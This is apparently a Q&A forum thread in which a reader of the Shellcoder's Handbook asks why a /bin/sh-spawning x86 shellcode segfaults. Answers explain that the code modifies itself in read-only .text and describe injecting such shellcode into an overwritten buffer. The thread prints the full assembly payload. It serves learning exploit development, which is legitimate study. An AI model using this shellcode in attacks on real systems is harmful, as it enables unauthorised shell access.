0

I am currently reading the book Shellcoder's Handbook of Wiley, and I'm having a very grave problem implementing one of the shell spawning shellcodes from chapter 3. The code is as follows:

Section .text global _start _start: jmp short GotoCall shellcode: pop esi xor eax, eax mov byte [esi + 7], al lea ebx, [esi] mov long [esi + 8], ebx mov long [esi + 12], eax mov byte al, 0x0b mov ebx, esi lea ecx, [esi + 8] lea edx, [esi + 12] int 0x80 GotoCall: Call shellcode db ‘/bin/shJAAAAKKKK'

To compile(on a 32bit machine), I use: $nasm -f elf32 -o shellcode.o shellcode.asm $ld -o shellcode shellcode.o But when I execute the binary I get a segfault at shellcode+3. I stepped through the executable in IDA with little luck. After executing mov byte [esp+7],al The program throws an exception segmentation violation with error code 11. I change the EIP to not execute the instruction, and continue, but as soon as mov long [esi+8],ebx I again get a segfault.

  1. Why is the program segfaulting? This is a plain ASCII text so the offset has to be correct.
  2. I tried using other registers too but with little luck.
  3. I tried the above exploit on Fedora, Kali 2.0 and Ubuntu 14 and a few not so popular Linux variants (all 32 bit). All throw the same error. I disabled ASLR on all of them.

I'd be glad to get around this. Thanks in advance.

6
  • 1
    Maybe post the registers/stack from the debugger at the point of the segfault? Can't debug the unknown.
    – wireghoul
    Nov 28 '16 at 11:26
  • Are the memory addresses correct? It sounds like you have a bad pointer Nov 28 '16 at 15:31
  • @wireghoul, Unfortunately, I don't think the space limitations allow me to post the whole output here. Could you please tell me which registers/stack section you want me to post?
    – Vinay
    Nov 28 '16 at 17:14
  • @AnthonyRussell... Could you please tell me where the pointer may be messing up?
    – Vinay
    Nov 28 '16 at 17:16
  • @Vinay oh I'm sorry I was thinking of the ESP register. This however may help you stackoverflow.com/questions/1856320/… Nov 28 '16 at 17:18
2

The shellcode is self-modifying and is thus supposed to reside on the stack (or some other writable region). The following instructions

mov byte [esi + 7], al
mov long [esi + 8], ebx
mov long [esi + 12], eax

are overwriting the JAAAAKKKK bytes at the end, which resides in the .text segment. As .text segment is not writable, your program is throwing a segfault.

6
  • But the instructions were taken straight from the book. Even many examples online have the same assembly. In any case, how do you think a correction may be? I can try placing the string in .data but that would make me lose generality and relative addressing. Any workarounds? :(
    – Vinay
    Nov 28 '16 at 17:19
  • 1
    Well, the shellcode was just designed to be used this way - you inject it into a buffer, overwrite some important function pointer/return address and then jump to it.
    – rhodeo
    Nov 28 '16 at 17:49
  • Also, I don't see how putting the shellcode in .data make you lose relative addressing.
    – rhodeo
    Nov 28 '16 at 17:50
  • Just because something is in the book doesn't mean it's correct. These books are hard to fact check every line. You'd THINK that everything would work. However, I've gone through a number of books where examples don't compile for one reason or another. It's frustrating but you'll learn more if you figure it out haha Nov 28 '16 at 17:51
  • Simply put, assembling a self-modifying shellcode into a standalone executable like this isn't going to work. I don't think any half-decent book would ask you to do it this way. If you are just trying to test if the shellcode works outside an exploit, simply put it in .data and jump to it. The 'generality' will be preserved anyway when you are using this in an actual exploit.
    – rhodeo
    Nov 28 '16 at 18:05

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.